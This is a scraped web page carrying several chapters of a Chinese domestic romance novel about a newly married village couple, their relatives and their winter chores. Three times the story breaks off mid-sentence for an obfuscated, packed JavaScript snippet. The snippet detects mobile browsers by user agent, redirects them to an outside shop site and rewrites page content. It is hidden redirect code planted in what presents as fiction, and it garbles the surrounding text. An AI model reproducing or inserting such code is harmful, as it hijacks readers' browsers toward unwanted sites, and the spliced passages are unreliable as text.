院墙和其他人家一样垒成土墙,倒花不上多少银子,费钱的是几间正屋和厢房。柳岚手里头钱够用,便打算都盖成青砖绿瓦的大房子,不说人住得舒服,隔出一两块地方放山货也更让人安心,省得柳岚多费功夫去修缮茅草盖的屋顶。 木料也同木匠商定好了,都是结实耐用的好料子,因是直接从木匠手里买的处理好的木头,价格也更贵些。 大部分打算新建房子的人家一般会提前一两年开始准备,自己上山去挑选合适的木料再交由木匠处理,这样能省下一笔钱做他用。 而柳岚在和秦蓁产生交集之前暂未有成亲的念头,自然也不会为建新房子做准备。即使他从麦收过后就为此忙活,也依旧赶不上来年建房,只能花钱去买。 除去材料,还有到时请人帮忙的工钱,柳岚一笔一笔都向秦蓁解释清楚了,不过实际的花销肯定和现在算的有出入,因此两人商量好拿出十两备用。 “那就好,我听阿岚说了,请的都是熟人,断不会做那些坏名声的事。我和你大伯也会常来看看,这事你们两口子不要太担心。” 秦蓁点头应好。 于红英没有多留,带着两包零嘴喜滋滋回去了。 不管外人说什么闲话,夫妻俩谁银子多谁银子少那是小两口的事,一群人也不知道瞎凑什么热闹。反正啊,她只看见人家姑娘是想好好过日子的,不然哪个侄媳妇还记得给伯娘送点零嘴呢? 柳岚挑了一担大柴回来,听秦蓁说大伯娘喊吃饭,柳文轩也在家,二话不说便要带她上大伯家去。 “这是怎么了?” 柳岚和大伯家关系亲近,但寻常时候不会去做这种“占便宜”的事,一听大哥在家便兴冲冲准备过去,看起来应当有别的官司。 “他上次诓了我两只烧鸡,说好了赔我一本《山海图》,过了这么久半点音信都无,我得去向他讨要。” “你爱看游记?”成亲虽不过半月,但秦蓁作为枕边人,自然能看到柳岚悉心收好的几本启蒙书籍和《四书》。 柳岚幼年时因家中变故不能去私塾,不过有柳文轩的帮助,这些年来一直在读书识字,若是上了考场,得个童生回来也未必不可能。 只是他志不在此,学得也不如书院的学子那般正规,全凭一时兴趣在闲暇时翻阅诸如《论语》、《中庸》此类。 “算不得爱看,觉得有趣罢了。”柳岚自以为比不上他哥和秦蓁从小受过熏陶的人,不愿谈论过多。 “我娘书房里的书册我都带过来了,多是话本子,不过典籍也有不少,你若是想看可以去翻找。”秦蓁自己是不愿读的,看过《四书》《五经》后便将其束之高阁,与其去读那些之乎者也,她宁愿多绣两幅画,不过闲暇时还是会重温一遍,不至于遗忘。 “好。” 书肆里的书价格高昂,农家子若是想获得属于自己的一本书需得租借抄录,如此花费的只有纸张、墨水和租借费,比起直接采买能便宜许多。 柳岚见过他哥为了省下一天的租借费而奋笔疾书,也见过他抄录后一脸轻松的模样。书籍对于农家子来说是难得的,虽然柳岚和秦蓁早已成为一家人,但秦蓁能让他随意翻阅的决定还是令柳岚有些喜悦。 两人带上那碗羊肉出门,柳岚还提了一小坛酒。大伯不好酒,但有大菜的时候难免想倒上几碗尝尝,这时柳文轩和柳岚便会陪他浅酌一杯。 忆起往日做下的保证,柳岚提酒的手一顿。他不愿毁诺,可若是不喝,只怕大伯娘她们琢磨过来后对蓁蓁有微词。 “蓁蓁,我待会能陪大伯喝一杯吗?”柳岚向秦蓁解释后小心翼翼问了一句。 “喝多少?” “一两左右,绝不超过二两。” 秦蓁看他一副认真的神情,松口道:“在家能喝一点,但在外面一滴都不能喝,好不好?” “好。” 就算秦蓁不说,柳岚心里也有分寸,除去成亲和回门那两次,他从未多喝过。毕竟他爹惨痛的教训在那,不容他放纵。 走到半路时正好碰上抱着儿子的柳文轩,他见着两人,停步道:“刚好要去喊你们。” 柳朗星叫了小叔小婶,在三个大人并行后抱住爹爹的脖子偷看长得好看的小婶婶,秦蓁也发现了他的小动作,每次柳朗星看过来时都会笑着逗他。 “过来了?坐。”谭月从屋里搬了两张凳子出来,几个人围在院子中间晒太阳。 两个汉子聊着镇上的各路消息,妯娌俩则话些家常,柳望山喂完畜禽从后院出来,转头又被两个小子请了进去。 柳家现在养了三头猪,一头母猪下崽,另外两头公猪吃肉,每到年关猪肉的价格便会比平常贵上两三文,单卖一头百来斤的也能多挣个三钱左右,剩下的留一半自家人吃,一半在村里卖,价格会比在镇上卖时便宜点,就当卖个人情了。 当初为了供柳文轩念书,最多的时候家里养了七头猪,一家人每天起早贪黑去打猪草、鸡草,一年下来都瘦了不少,好在当年赶上了趟,生猪价格是历年来最高的一次,卖猪的钱能供柳文轩用半年之久,几人能短暂歇口气。 不久之后柳望山听到消息,说是有些人家的猪不知得了什么病,断断续续死了不少,猪价这才抬高了。那年头兽医并不盛行,大家说什么的都有,不过去那几家见过的人几乎都有一个共识——养猪的猪圈还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183098|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是干净些好。 虽说猪好养,可养久了的人也知道,猪圈打扫得干净,养出来的猪也更壮实。死了猪的人家懒散惯了,那些脏污东西不常清扫,导致喂食的草料也不干不净,时间长久了便引发病症。 柳望山和家里说起这件事的时候大家一阵后怕,幸好他们家向来爱洁,即使是猪圈鸡圈这些地方也会费心打扫,否则后院里的畜禽说不定都会遭殃。 如今后院养牲畜的地方每天都会清扫,因为天气渐冷,棚子里还铺了干草,隔个三五日也会换一次。这些琐碎事情麻烦是麻烦,但养的数量少了,比起以前来还算清闲。 三个汉子围着几头猪都能说上半天,等聊完,不仅过年的安排定下了,开春的事情也有了章程。 走到牛圈旁边,柳岚问道:“大伯,来年要不要买头骡子?” “骡子?” 作为马和驴的后代,骡子的价格自然不低,大概在十两左右。 家里的这头牛是柳望山托关系抱回来的,牛犊比成牛便宜不少,可要想养到这般壮实的体格也得费不少力气,算起来,它来这个家都快十年了,再过两年就算不得年轻了。 “周叔认识的人多,卖牲畜的商贩也有不少,从他们手里买能比市面上便宜些。” “会不会太麻烦了?”毕竟两家也算不得是正经的亲家,全靠两个孩子的关系才有所交集,贸贸然托人帮忙还是有些不妥。 “不会,周叔他们镖局也要买,顺道捎一头也不碍事。” 柳望山和柳文轩对视一眼,两人都有些意动。 家里现在境况好了不少,柳文轩在书院里有一两三钱的月钱,家里靠卖粮食卖鸡蛋卖猪肉这些也有不少进项,再买一头骡子确实能负担得起。 若是真的买了,牛可以专门用来耕地,骡子则去拉重物,两头牲畜轮着来还能轻松不少。 “家里再一起商量看看。”买骡子可是大事一件,还是一家人仔细商量着来比较好。 谭月和秦蓁聊了没一会便去灶房帮忙了,秦蓁一人闲来无事,于是牵着柳朗星在灶房门口陪两人说话。 每次柳岚回来家里,于红英都爱自己包揽灶房的事,一个人更有章程,别人过来帮忙反倒碍事些。不过谭月嫁过来好几年了,偶尔配合着她打打下手也能省点事。 “等入了冬大家就出门少了,不过家里离得近,蓁蓁你要是在屋里待久了也可以到家里坐坐。”秦蓁毕竟刚嫁过来,有些事情尚且不清楚,于红英想到什么说什么,一项项跟秦蓁叮嘱。 “阿岚那间房子也有些年岁了,虽然下大雪的时候不用担心会塌,但总归没有新房子暖和,要是棉花够用,还是缝个手暖好些。我记得阿岚买了个巴掌大的汤婆子,正好放进去暖手。” 秦蓁有一瞬间的疑惑,但还是应了下来。 吃过饭后又坐了一会儿两人才离开,柳岚拿到了应得的《山海图》,便不再计较被诓的两只烧鸡了。 待回到家里,秦蓁问道:“现在的羊肉一斤多少文?” “差不多五十五文,常青村那边的羊倌卖得便宜点,应当是五十三文。怎么了?” “我想过几天买只老母鸡,到时炖了汤给大伯家送一碗过去。” 柳岚明白她的心思,笑着道:“那我待会去村里问问。” 其实他和大伯家的往来没有太多的计较,也不曾介意哪方出得多、哪方出得少,但成亲后两人组成了自己的小家,人情世故方面终究和以往不同,柳岚很高兴秦蓁会为此去多考虑。 24. 第24章 “对了,大伯娘说你买了个汤婆子,怎么不见你给我?” 成亲之前柳岚不仅准备了各种聘礼,连婚后秦蓁过冬的用品也一应俱全,包括十斤做衣裳的棉花、兔皮缝制的斗篷和大小两个汤婆子。 秦蓁的冬衣去年刚做,还是崭新的一件,于是那些棉花被秦蓁拿来给柳岚做新衣裳,毕竟这个傻子不懂得照顾自己,除去一件体面点的冬衣,另外两三件不到穿破了绝不会叫大伯娘帮他再做一件。 因此秦蓁缝完围项后又准备给柳岚缝制冬衣,这几天才刚起了个头,幸好他的旧衣里还有能穿的薄棉衣,天气也不至于太过寒冷,否则秦蓁非要到成衣铺给他买一件不可。 大的汤婆子没什么花纹,是最简单的样式。柳岚知道秦蓁入冬后手脚常常冰凉,因此天刚转冷不久便拿出来放被窝里给她暖脚。 新买的汤婆子灌上热水后能暖一整夜,有时秦蓁还会嫌热踢开。 此时听到秦蓁问另外一个,柳岚支支吾吾了半天才顺当地说道:“我想你已经有一个了,多拿的也无用,就没有拿出来。” 其实天气开始转冷的时候柳岚便想给她了,只是那天见秦蓁自己取出了一个精致又小巧的汤婆子,比自己买的那个不知好了多少。即便是柳岚挑选了许久才定下最好的那个,也依旧觉得拿不出手。 “怎么会无用呢?”秦蓁眼眸一转,“正好我那个用了许久,不似先前那般暖和,我想换上你新买的。” “我这就拿来。”听到秦蓁需要,柳岚也顾不上为难,立马去翻找。 一拿到手,秦蓁便知晓为何柳岚不愿拿出来了。 镇上有些东西看上去再怎么复杂好看,工艺也只能说一句粗糙,但秦蓁的汤婆子是周大石他们前些年在府城买的,做工算不上精湛,却比柳岚买的这个好许多。 “大了些,不过也好,能多暖一会。” 见秦蓁没有嫌弃,柳岚心里轻松不少。他偷偷看过秦蓁的汤婆子,花纹确实更好看些,可他买的那个已经是铺子里最好的了,花了两钱银子呢。 柳岚在心里叹气,他实在是不知该买什么才能讨蓁蓁的欢心,好像镇上能买到的都不如秦蓁自己所拥有的。 —— 外面天色渐亮,柳岚估摸着时辰轻轻起身,细微的动作影响到了秦蓁,她睁开朦胧的双眼问道:“什么时辰了?” “大概辰时,还早,你再睡会。”柳岚在她额头亲吻,顺手掖好被子不让冷风灌进去。“今早想吃什么?” 秦蓁闭眼想了会,开口道:“吃……面条。” “好,我去擀面。” 柳岚体热,捂了一个晚上的被窝现在依旧暖烘烘的,秦蓁翻了个身,感受到脚底的暖意后又闭眼准备再睡会。 日头刚刚出来不久,周围还带着夜晚的冷意,柳岚起锅给秦蓁烧盥洗用的热水,自己却直接舀缸里沁冷的凉水。 为了过冬,家里粮食备了不少,再加上从秦蓁家拉来的那些,完全够两人随意吃到来年春天。 柳岚估摸着两人的饭量取出面粉,又拿了几个馒头蒸上。 秦蓁听到外头的动静,磨蹭了一会还是决定起床,外衣在被窝里暖好了,穿上身也不觉得冷。 遇到柳岚以前,她其实不太在意男方的家境如何,只要对方品行皆可,亲眷之间能和睦相处便好。家务一事秦蓁能做,但若是过于繁多,则会考虑请一个粗使婆子来帮衬,毕竟她可不会像大多数的女子一般天天操劳。 没料想和柳岚成亲后却半点没有这方面的烦恼。 他和自己一样,一个人过了好几年,大半的家务都会做,甚至再加一个她也能照顾得很好。 像现在这样,柳岚发现她从屋里出来了,立马掺好温水让秦蓁盥洗,熟练的姿态宛如生活了许久的老夫老妻。 用过早食后,柳岚开始准备进山用的背篓锄头等物,今天说好了会和大伯一起去挖冬笋,冬日吃食少,可不得想办法换换口味。 “阿岚,记得把手衣带上。” “好。” 冬天的笋子藏在被冻硬的地里,需多费些力气挖出来,虽不至于磨出水泡,但也会手疼一阵,能戴手衣缓缓也好。 “竹林离得不远,但挖笋子费时费力,若是我回来晚了,你自己先用午饭,给我留些就好。”柳岚一边包好蒸得松软的馒头,一边朝秦蓁说道。 他想多挖一些,不论是自家晒成笋干,还是把富余的卖出去,都不会白费力气。 柳岚走后,秦蓁也出门回到她原本的家。 柳家的小菜地种不了多少东西,倒是秦家院子里的菜照料得好,已经长出不少萝卜秧子。秦蓁挑长得快的拔了一把,足够两人吃一餐。 新撒的这些本就是为了吃嫩苗,头先的那一批已经开始长大,过不久就能有脆生的萝卜吃了。 萝卜秧子再嫩也有些扎手,因此这边的人家会先过水焯一遍,用笊篱捞起后放在冷水里晾凉,到时再拧干水切碎。这样一来菜里聚的水依旧很多,不过切碎了更方便上手,使点劲挤出来就好下锅了。 其实大伯家的菜园子里种了不少,大伯娘和嫂子也很乐意她去摘,不过在一般情况下秦蓁还是觉得吃自己种的更自在些。 被风吹落的枯叶更添几分初冬的萧索,小院里只有秦蓁一个人忙碌的身影,好似还同以前一样。 “秦姑娘?” 吴芳喊出来后才发觉该改口了,好在秦蓁也没在意这些,她见院子里落了不少落叶,正在清扫。“赵婶。” “欸,小盛说挑柴回来时看到这边院门开了,我就过来看看。” 秦蓁就近放下扫帚,带人去堂屋里坐。幸好她刚刚嫌冷,把灶火点燃烧了锅热水,现下不至于没有热茶招待。 “辛苦赵婶照看了,闲来没事,到菜地里转转。” “这有什么辛苦的,”吴芳看着秦蓁欲言又止,东扯西扯聊了半天,最终还是问道:“秦姑娘,你那地还租吗?” “嗯?” 秦蓁如今嫁了人,娘家在这边又没有其他人,按理来说那四亩地会算成嫁妆和夫家共同处理。而且柳文轩和柳岚兄弟俩关系好,要是想再加几亩地免了田税,柳氏一族也应该会卖这个面子。 家里就靠着租的几亩地缓口气,秦蓁没有给准话之前吴芳和赵家其他人不免有些担心。虽说心里清楚秦蓁若是把地换成自己种后卖出的粮食能小挣一笔,寻常人家也更愿意把钱收到自家手里,但赵家还是隐隐期盼秦蓁能再多租一两年。 想明白了其中的缘由,秦蓁便朝吴芳道:“赵婶放心,地还租的,毕竟两边隔了半个村子,照料起来也不方便,有赵婶家租下我也能轻松不少。” “那就好那就好,秦姑娘的地我们都仔细着呢,浇水施肥半点不含糊。” 吴芳得了准信后又唠了一会,这才回家告诉其他人这个好消息。田地的侍弄到了冬天也不能落下,不过之前怕秦蓁不租了便没动多少,松土过一遍就先放那了,眼下土地还没冻住,几下锄开也不成问题。 没过多久,秦蓁提着篮子锁门回家,半路碰到去买豆腐的谭月,两人便约着一起去了。 “家里准备把菘菜和豆腐炖一锅,天冷了,还是吃点带汤水的热乎些。回去准备怎么做?” “上次煎了一回,阿岚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200103|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像爱吃,今天再做一顿。” “煎出来可香了,就是费油,娘后来不让我做了,天天盯着油罐子瞧。” 秦蓁偷着笑,说道:“那下次嫂子来家里尝尝。” “这话我可记着了,到时你可别耍赖。” “嫂子尽管来。” —— 那片竹林去的人不少,柳岚和柳望山往里走了一段路才找到没被挖开的地方。 两人都是老手,一个上午下来大概挖了六七十斤冬笋,剥了壳约莫能剩个五十斤。柳岚和秦蓁吃不了多少,便匀了一些给大伯。 “回来啦。”秦蓁递上一碗温水给柳岚,回身又去灶房做饭,“炒完菜就能吃饭了,你先坐着歇会。” 柳岚其实不累,但看到秦蓁为他忙上忙下的样子心里说不出的满足。 以往忙碌过后家里只有冷锅冷灶,最累的时候不想做饭,便啃几个糙馒头敷衍了事,哪里像现在这般处处有人关心。 “我来烧火。” 三个菜炒起来很快,一碗萝卜缨,一碗煎豆腐再加干辣椒炒肉。 秦蓁吃惯了白米饭,柳岚知晓她的习惯后也没多说什么,而是将他平常吃的杂粮和糙米换成了白米。 幸亏他之前考虑过这件事,在家里备了三袋白米,只是吃上一整个冬天可能不太够,到时要去镇上买。 带的那几个馒头此时早已消化完,上桌后柳岚便埋头扒饭。 秦蓁每次见他吃饭胃口就会好上几分,柳岚最初还怕秦蓁笑话,却发现她不仅看得很愉快,还能多吃两口饭,于是不再拘谨回归常态。 三道菜被清空,柳岚咽下最后一口,利落地收拾碗筷去清洗。 “舀点热水洗,仔细又起寒疡。” “知道了。” 秦蓁到屋里取出治疗寒疡的膏药,在柳岚擦干净手后帮他涂抹。天气开始转凉的时候秦蓁就买回了药膏,只是柳岚没涂过这些,自己也不上心,常常要秦蓁提醒。 手上沾了药膏不好干活,柳岚只好坐在秦蓁身边看她缝衣裳。 为了成亲,家里新弹了两床棉被,因此买回来的棉花可以多做几身衣裳。秦蓁自己不着急,先紧着柳岚做身新的。 正好人就在一旁,能随时打量比划。 “先做一身就好,旧的几身够我穿了,你忙了这么久,得好好歇息。”柳岚盯着秦蓁的手认真说道。 秦蓁在意双手的养护,秋冬时会用味道淡雅的手膏,肌肤明显会比村里的年轻女子滑嫩,可即便如此,柳岚还是能摸到她手心一层薄薄的茧。 “不碍事的,我以前最忙的时候天天卯时起戌时歇,哪有现在的日子自在?还不用洗衣做饭,你总得让我找点活干呀。” 自成亲以来,家里的衣物都是柳岚在洗,虽说他一人居住时常出现在河边洗衣裳,但若是娶了妻子后依旧是自己洗,只怕会惹人笑话。 因此他不得不在家里洗,省得让人说道,以至于水缸里的水用得格外的快,柳岚常需要多跑几趟将水缸灌满。 “那……那……”柳岚一时说不出什么理由,他想让秦蓁像镇上的小姐那样无忧无虑,每天只需谈论哪家银楼出了什么新样式,哪家糕点铺子摆了新花样。他知晓现在的自己还做不到那样,可他正在为此努力。 “愁眉苦脸做什么?”秦蓁将针放好,伸手拂上柳岚的眉头,“我们是夫妻,哪有只让你一个人忙活的道理?我也会心疼你啊。” 柳岚握住她的手在颊边蹭了蹭,脸上终于露出笑意。 “哎呀,药膏沾到我手上了。” “我拿帕子擦干净!” …… 25. 第25章 今日的天有些阴沉,柳岚一斧头劈开锯好的柴火,拢起一堆整齐码放在墙边的木棚子里。 提前处理好的柴火方便他不在家时随秦蓁取用,大灶烧水费时也费柴,若是用上提壶,不仅能随时喝口热茶,还能烤火暖暖身子。 柳岚再次举起斧头时,突然发现眼前有什么东西落下,抬头望去,只见细碎的黑点缓缓从远空中飘落,等离近了,才能看出是一片片小雪花。 “蓁蓁,下雪了!” 秦蓁听到他的呼唤从堂屋走出,不过片刻,雪纷纷扬扬落了满天。 两人一同站在檐下看着今年的初雪,“明年又是顺当的一年。” “是啊,”秦蓁牵住柳岚温暖的手心,笑着道:“瑞雪兆丰年。” 雪花渐渐在屋顶和地面上铺了薄薄的一层,两人把屋外该收的收好,免得化雪时被浸湿。 “冬衣做好了,试试合不合身。” 这些时日秦蓁裁制成衣的手艺精进了许多,但毕竟是第一次给柳岚做冬衣,不能处处妥当,有什么地方松了紧了还要再改改。 “好。” 落雪无声,衬得村尾的几间屋舍蔓延出一丝寂静,可隐隐约约传来的人声又增添了几分热闹,慢慢驱散了渐起的寒意。 —— 驴蹄落在铺了石板的巷子里,“哒哒哒”的声响随着主人的驱使一路向前,最终停在某家宅院的后门。 “那我等会来接你。”柳岚拢紧秦蓁穿着的斗篷叮嘱着。 “好,快去吧,别耽搁了,午时还要去周叔那里吃饭呢。” 在柳岚一步三回头的目光中,秦蓁上前敲门。 守门的小斯还是原先那个,对她也较为熟悉,便先请秦蓁进去等候。 没过一会,掌事的嬷嬷带着一个小丫鬟走了过来,“哎呦,秦姑娘可算是来了!” “王嬷嬷,近来可安好?” “安好安好,托秦姑娘的福,小小姐很喜爱那张床帐,要换下的时候还闹性子呢,不过也让夫人舒心了一段时间。”王嬷嬷一边说着一边把秦蓁往院子里带。 今年春季秦蓁缝了一床百花床帐,哄得邓家小姐欢欣不已。因主家待人宽厚且出手大方,于是秦蓁又接了一张契书。这次是以五谷丰登为内容的大张绣作,期限不定,但秦蓁还是按往常的时限将绣作带了过来。 进了屋,秦蓁取下兜帽正准备解开斗篷,不想身后的小丫鬟已经准备着要接手了,看向她时还朝秦蓁笑了笑。 王嬷嬷见她如今换了发髻,没多问。 “还请秦姑娘稍作歇息。”王嬷嬷示意丫鬟在一旁伺候,自己则去禀告夫人。 秦蓁笑着点头,随意欣赏着花厅外的园子。 此时的花园呈凋零之姿,仅剩灼灼盛放的月季和暗藏生机的腊梅。 她记得柳岚说等新房子建好后也栽种一些花卉,这样一来院子里便能景色不断,她在家时也不会倍感枯燥乏味。 秦蓁嫌他考虑不周,连一小块菜地都照料不好的人,怎么还有精力去侍弄花卉?到头来还不是她辛苦。 不过柳岚若是开口了,那应当已经在心里做好了打算,不用她过多思虑。 花厅里放着一尊暖炉,散发着恰到好处的暖意,这时下人在主位旁边又添了个小的,邓夫人也随之进门。 “夫人安好。”秦蓁起身以示尊重,邓夫人招手让她坐下,待两人落座之后,邓夫人笑着问道:“如今可是要换个称呼了?” 已经成亲的女子会梳成妇人发髻,便不再以姑娘相称,秦蓁回道:“是,夫家姓柳。” “那祝贺柳娘子了,喜结连理。” “多谢夫人。”秦蓁略微陪人聊了几句,从篮子里拿出包裹好的绣作,“先前同夫人定的《五谷丰登》已经绣好,还请夫人过目。” “柳娘子的手艺自是没得说,”邓夫人接过由丫鬟拆开的布料,轻轻打开后露出惊喜的目光,“柳娘子的技艺似乎又精进了?” 之前的百花床帐美则美矣,但总觉得缺了点什么,而这幅“五谷丰登”图则不然,农忙时的场景都一一展现在眼前,宛如亲眼目睹过。 秦蓁在绣完后也发现了不同,与以往的绣作相比,这幅图增添了一丝韵味,不仅是劳作的人,连成熟的谷物都好似会随着画面里热闹的场景而晃动起来。 令她疑惑的是,自己并未做出任何改变,一切发生得自然而然。 “夫人谬赞了。” 邓夫人忙着欣赏,并无深究的意思。 接下来便是银货两讫的章程,双方又客套了一会才各自离去。 秦蓁出门时柳岚已经在外等候了,她将篮子放进已经腾空了的背筐里,柳岚接过媳妇递来的眼神,悄然换动了背筐的位置,使之更挨近两人。 秦蓁轻拍他的手,而后并排坐到他身边。 驴车哒哒哒向前行,缓缓朝下一个目的地驶去。 —— 赵承提着两只刚打的兔子正要踏进柳家门口,想到兄弟已经成亲,这么冒冒失失上门不太妥当,便在门上敲了敲。 半晌没人应声,他只好耐着性子又敲了一遍。 秦蓁从后院喂完毛驴回来,听到门口的动静后立马加快了脚步。 她绣上半个时辰左右还是会和以前一样歇息片刻,有时是在烧水的炉子旁一边闭目养神一边烤火,有时也会在院子里走动走动,顺道去后院喂驴子两口草料。 秦蓁一直觉得牲畜也是有灵性的,就如她小时候在镖局骑过的大马和柳岚养的这头毛驴。 驴子一开始并不吃她喂的草料,每次都会避开,约莫是她和柳岚常常一起出现,偶尔也会试着摸摸它,驴子才“认识”她,允许秦蓁喂自己吃草料。 每每柳岚不在家的时候秦蓁便把它当作伴,时不时过来瞧上一眼。 门口的汉子面上有一道明显的疤,秦蓁立刻认出了来人是谁,“赵大哥,快请进。阿岚上山去了,暂时不在家,是有什么事吗?” 赵承还是第一次见秦蓁。对于兄弟娶的媳妇,他多少听过一点传闻,不过柳岚自己乐意娶的人,别人也没资格说什么。现在看来,两人生活得挺好。 “我就不进去了。阿岚之前和我说要买两只兔子,今天刚打到,正好送过来。” 秦蓁没听柳岚提起过这事,估计是忘了。“那我去拿银钱。” 赵承叫住她:“不用,等阿岚回来了你和他说一声就是。” “那好。” 赵承将两只兔子放到堆着柴火的木棚子底下,没有过多停留,朝秦蓁招呼一声后径直离去。 秦蓁没处理过兔子,也不敢碰,毕竟是有野性的东西,比不得家养的牲畜。 柳岚带着柳罗上山去找菌子了,得晚些时辰回来。 也不知这冰天雪地里能有什么金贵的菌子,非要踩着一脚深的雪过去,拦都拦不住。好在有人作伴,否则秦蓁怎么都不能安心让他出门。 灶上烧着一大锅热水,好让柳岚回来后能泡泡脚暖一暖。 午时过半,秦蓁静不下心,在堂屋里守了一会又忍不住到门口去观望。 终于,远处一高一矮两道身影渐渐走来,她不便高呼,只能挥着手示意。 高个的汉子于是加快了步伐,不到片刻就来到了秦蓁身前。“怎么出来了?冷不冷?” “我不冷,”秦蓁握住柳岚冰凉的双手,“快把东西卸下,我烧了热水,你烫烫脚。” 她回身又去招呼落在后头的柳罗:“小罗,进来喝口热水,累了吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14210018|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嫂嫂,我不累。” 秦蓁看他精神气挺足,便放下担忧,“你把彤彤叫过来,今天在家里吃饭。” 家里只剩个半大的小姑娘,等他自己做好饭,估计也饿得不行了,她特地多蒸了几个馒头,足够两人一起过来吃。 柳罗嘴笨,不好该怎么拒绝,便看向柳岚寻求他的意见。 “把妹妹接过来吧,吃完饭还要去镇上一趟,你不是不放心她吗?正好让她和你嫂嫂作伴。” 柳罗想了一会,还是接受了两人的好意,回家把妹妹牵了过来。 “秦姐姐!”柳彤进门后冲到秦蓁身边抱住她,像以前一样牵着她的手,小姑娘近来不怎么出门,小手已经不脏了。 柳彤叫惯了“姐姐”,柳罗私底下让她改称呼她也不改,秦蓁倒不在意这些,随小丫头欢心。 “冷不冷?” “不冷,我在家里烤火。” 初冬时不算太冷,一般的人家也不会烧炕,而是会有一间专门烧柴火的小屋,可以供一家人取暖。 柳罗除了在柳岚身边帮忙,其余时间都在照顾妹妹,包括准备过冬的粮食和柴火,虽然不是很多,但足够两人度过一整个寒冬。而且柳岚也不会白白让他帮忙,每次根据他做了多少来结算工钱,相当于小学徒之类。 十文到二十文的工钱比在镇上做工少些,不过做一天拿一天,不会被克扣,也不会被打骂。 “自己在家做什么?小鸡养得怎么样了?” 柳彤乖乖答道:“今天把家里都打扫了一遍!小鸡怕冷,哥哥编了个鸡笼把它们养在烤火的屋子里了。” 天冷,母鸡都不怎么下蛋,因此小姑娘的兴趣也随之减少,只保证花钱买来的几只鸡不死就是了。 秦蓁把两人带到堂屋,有烧水的炉子,周围更暖和些。烤火的屋子不亮堂,很容易伤眼,柳岚便老早为她准备了小炉子,既能烤火取暖,还能烧水喝茶。 “坐着烤烤火。” 马上准备吃饭了,秦蓁就没有再给两人拿零嘴。 柳岚还在屋里泡脚,秦蓁过去看他,“手暖些了吗?待会把药抹上。” 入冬以来,柳岚的手被秦蓁养护得很好,不过沉疴复发在所难免,柳岚也不可能在家里什么都不做,因此手指已经有些肿胀发疼。 看着媳妇这么在意,柳岚不敢违背她,答应会好好照做。 “那我去做饭。” “好。” 饭后,柳岚和柳罗牵着驴车去镇上,要趁着新鲜把菌子卖了,秦蓁则和柳彤在家里烤火闲聊。 见小姑娘身上不知穿了多久的旧衣,秦蓁问道:“今年可有做新的冬衣?” “哥哥托大伯母给我做了一身,我要留着过年穿。” 柳罗之前买了十斤棉花,八斤给妹妹弹了床新棉被,剩下的做成棉衣棉裤还有棉鞋,让小姑娘冬日里能好过些。不过柳彤很爱惜,现在依旧穿着以前的衣裳。 秦蓁回屋拿了两件衣裳过来,她把旧衣里拆洗出来的棉花重新弹了一遍,做完一床被褥后还剩下来一点,于是做成了两件一般厚度的夹袄,能让柳彤暖和点,穿着也不会被旁人发现。 这事她和柳岚说过了,柳岚自然没意见,毕竟是秦蓁的旧衣,自己家里也还有新买的棉花,没必要太过计较。 “这是姐姐以前的衣裳,现在穿不了了,送给你好不好?” 柳彤眼睛一亮,但没有立刻接受,她小心翼翼问道:“真的可以送给我吗?”以前秦姐姐让她试试好看的衣裳就已经很让人开心了,今年冬天居然还能有“新衣服”穿! “可以的,不过最好别让其他人知道,就当是我们俩的小秘密?” “好!我一定不会告诉别人的!”连哥哥也不告诉! 26. 第26章 待柳岚回来后,秦蓁才想起赵承送来的两只兔子。 听她说完,柳岚随意道:“不用给银钱,过会我去他家一趟。” 近来一直在吃猪肉,柳岚便想着给秦蓁换换口味,于是找赵承帮忙打一两只兔子。赵承一口应下,不过没要铜板,只让柳岚给他带几两木耳或菌子之类当个下酒菜。 秦蓁没再说什么,他们汉子有自己的相处方式,她还是不要过多干涉。 “那待会回来之后记得把两只兔子带到河边去处理了。” “好。” 冬季猎物少,就算把兔子内脏埋进土里,也难免会有饥饿的野兽循着味过来,还是在水边处理为好。 这是爹爹以前告诉她的,因为家靠近山林,野兽下山的几率比其他地方大,此类事情还得需谨慎防范,否则后果难以预料。 两只兔子还算肥,收拾完有不少肉,于是柳岚做主送了一大半给大伯家。 晚饭柳岚炒了道麻辣兔肉,勾得秦蓁多吃了半碗米饭。 “爱吃这个?” 秦蓁擦擦嘴,不好意思笑道:“味道很好,就是辣了点。” 她鲜少吃口味重的食物,这一餐确实很过瘾。 柳岚平时做饭会照顾秦蓁的口味,再者其他菜也不需要放太多配料调味,今天做的麻辣兔肉倒是让他有了新收获,只是过于辛辣,不能常做。 否则为了让秦蓁多长点肉,多做几次也并无不可。 …… 柳罗牵着妹妹回到家里,把火烧起来后让柳彤取暖,自己则去整理背篓。 